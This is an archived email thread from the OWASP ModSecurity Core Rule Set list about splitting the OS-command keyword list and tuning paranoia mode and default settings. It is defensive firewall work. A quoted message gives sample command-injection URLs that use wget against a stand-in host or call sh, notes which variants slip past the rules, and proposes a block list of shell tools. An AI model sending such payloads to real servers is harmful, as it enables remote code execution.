Hi, I also like the idea of splitting the file. Perhaps we even need multiple files. Walter has a lot of good thougts! This task doesn't seem to be very easy and some testing will be necessary. So I think we have to decide later, outside of this little project, and we should move on to the first pull request.
Regards, Franziska 2016-02-15 5:07 GMT+01:00 Chaim Sanders <csand...@trustwave.com>: > For the record I think this is a good idea but perhaps outside the scope a > bit of the initial RC release. Christian, I suggest we add this to the > To-do for 3.1. Thoughts? > > On 2/12/16, 4:17 PM, > "owasp-modsecurity-core-rule-set-boun...@lists.owasp.org on behalf of > Christian Folini" <owasp-modsecurity-core-rule-set-boun...@lists.owasp.org > on behalf of christian.fol...@netnea.com> wrote: > >>Hi there, >> >>There has not been any additional feedback in this thread, but I think >>the question is not settled as of this writing. >> >>Thoughts? >> >>Regs, >> >>Christian >> >>On Sun, Feb 07, 2016 at 08:55:30PM +0100, Christian Folini wrote: >>> Hi there, >>> >>> On Sat, Feb 06, 2016 at 11:04:00PM +0100, Walter Hop wrote: >>> > I like the idea of splitting the file. >>> >>> Cool. >>> >>> > I agree some of the words in os-commands.data seem rather paranoid. >>>Words like "choice", "help", "now² seem of low value and are common in >>>natural text. Also, the large number of Unix-only environments could >>>skip Windows related commands. It¹s hard for users to modify these lists >>>as you¹d have to hack the CRS, and these huge collections are to >>>maintain anyhow, so I agree we need granularity. >>> >>> Good point. >>> >>> > The rule has some regexp magic to prevent false positives, but the >>>balance is not a complete success in my opinion. For instance, the >>>following URLs don't trigger in CRSv3: >>> > http://vuln/?cmd=wget%20http://example.com/blah.txt >>> > http://vuln/?cmd=sh%20blah.txt >>> > >>> > So it's not as strong as you would want either to prevent some common >>>RCE. >>> > Something like http://vuln/?cmd=Wget%20http://example.com/;%20ecHo >>>does trigger it. >>> >>> I see. Good observations. >>> >>> > 1) I think that a user should check their desired platforms in the >>>setup conf. In fact, this would be great to do anyway in the initial >>>3.0.0 release even if we DON'T look at it in any rule yet. Specifying >>>platform types will pave the way for reducing false positives and false >>>negatives by skipping unnecessary checks and being more strict on the >>>right platforms. So we could start by listing these platforms in the >>>existing rule in the setup conf. Example: >>> > >>> > SecAction \ >>> > "id:'900024', \ >>> > phase:1, \ >>> > t:none, \ >>> > setvar:tx.unix=1, \ >>> > setvar:tx.windows=1, \ >>> > setvar:tx.java=1, \ >>> > setvar:tx.php=1, \ >>> >>> That makes a lot of sense. At first sight. >>> >>> I think that a default install should come with these rulesets >>> all enabled and a sysadmin can then switch them of if we is aware that >>> there is no php in his service. >>> >>> So given the following two scenarios >>> #1 - Newbie sysadmin installs ModSec and runs into a lot of false >>>positives >>> because he does not disable unneeded rulesets >>> #2 - Newbie sysadmin installs ModSec and is p0wned because he does not >>>enable >>> the php protection >>> I strongly favour #1. >>> >>> A vanilla install of the core rules should give you a full coverage for >>>all >>> types of services and a decent security level. Reducing false positives >>>by >>> omitting certain rules (ideally rules which provide no value for your >>>setup) >>> is the very idea of tuning. >>> Reducing the initial number of false positives by moving certain rules >>> with a worse relationsship between added security and false positives, >>> that is the idea of the paranoia mode. >>> >>> Chaim stated in a different message, that the rules are now organised >>> into files aimed at certain environments. So switching them off is >>> fairly easy. And there are the tags on top of it. >>> So you have tag:'language-PHP' and setting SecRuleRemoveByTag will >>> disable them all very easily. >>> >>> So I think, we do not need these variables. >>> >>> > (By the way: I think it¹s unfortunate that a user has to use value 1 >>>to enable a check. An undefined variable will mean that the CRS will >>>skip some rules. This makes it dangerous to introduce a new variable in >>>the CRS later; all existing installations MUST then add this variable to >>>their setup rule immediately, or suffer from reduced security. It¹s >>>better to use a scheme that defaults to ³on². A convention like >>>³tx.disable_mysql=1² would be user unfriendly and error-prone. But we >>>could check for an explicit ³off² string, e.g. ³setvar:tx.mysql=off². If >>>it¹s not ³off² then assume that the user DOES want the check. I think >>>it¹s important to get this right in 3.0.0, it will be more painful to do >>>it later.) >>> >>> That's a very good observation. I had a similar idea once. >>> >>> In programming, you usually start with a default value and then >>> the users overrides the default value. If he wants to. >>> >>> I am not sure how modsecurity_crs_10_setup.conf.example is going to >>> be transformed to work seamlessly with 3.0. But this makes the >>> setting of default values a bit tricky. >>> >>> Maybe a file REQUEST-02-DEFAULTS.conf could set default values >>> if certain variables are not set. >>> >>> > 2) Separate the words into multiple lists: >>> > os-commands-critical.data (absolute red flag list: "curl", "passwd", >>>"sh", "uname", "wget" etc.) >>> > os-commands-paranoid.data (absolute low value, but high FP natural >>>words like "choice") >>> > os-commands-windows.data (all Windows commands) >>> > os-commands-common.data (all other commands) >>> >>> Makes some sense. Too granular is difficult and you mix various >>> grouping criteria (criticality, paranoia, os), which makes is a >>> bit hard to follow. >>> >>> Other opinions? >>> >>> > 3) Review the current regexp against some test data and CRSv2 to make >>>it more sensitive >>> >>> Good plan. Maybe this could be done in a separate pull request. >>> I am afraid to overload the paranoia mode pull request... >>> >>> Ahoj, >>> >>> Christian >>> >>> >>> -- >>> In war you will generally find that the enemy has at any time >>> three courses of action open to him. Of those three, he will >>> invariably choose the fourth. >>> -- Helmuth Von Moltke >>> _______________________________________________ >>> Owasp-modsecurity-core-rule-set mailing list >>> Owasp-modsecurity-core-rule-set@lists.owasp.org >>> >>>http://scanmail.trustwave.com/?c=4062&d=ndG-1q_MaPpAIUX2lZSE6lY7cpl0meOIn >>>uYrNabyug&s=5&u=https%3a%2f%2flists%2eowasp%2eorg%2fmailman%2flistinfo%2f >>>owasp-modsecurity-core-rule-set >> >>-- >>mailto:christian.fol...@netnea.com >>http://scanmail.trustwave.com/?c=4062&d=ndG-1q_MaPpAIUX2lZSE6lY7cpl0meOInu >>N-aaCptw&s=5&u=http%3a%2f%2fwww%2echristian-folini%2ech >>twitter: @ChrFolini >>_______________________________________________ >>Owasp-modsecurity-core-rule-set mailing list >>Owasp-modsecurity-core-rule-set@lists.owasp.org >>http://scanmail.trustwave.com/?c=4062&d=ndG-1q_MaPpAIUX2lZSE6lY7cpl0meOInu >>YrNabyug&s=5&u=https%3a%2f%2flists%2eowasp%2eorg%2fmailman%2flistinfo%2fow >>asp-modsecurity-core-rule-set > > > ________________________________ > > This transmission may contain information that is privileged, confidential, > and/or exempt from disclosure under applicable law. If you are not the > intended recipient, you are hereby notified that any disclosure, copying, > distribution, or use of the information contained herein (including any > reliance thereon) is strictly prohibited. If you received this transmission > in error, please immediately contact the sender and destroy the material in > its entirety, whether in electronic or hard copy format. > _______________________________________________ > Owasp-modsecurity-core-rule-set mailing list > Owasp-modsecurity-core-rule-set@lists.owasp.org > https://lists.owasp.org/mailman/listinfo/owasp-modsecurity-core-rule-set _______________________________________________ Owasp-modsecurity-core-rule-set mailing list Owasp-modsecurity-core-rule-set@lists.owasp.org https://lists.owasp.org/mailman/listinfo/owasp-modsecurity-core-rule-set
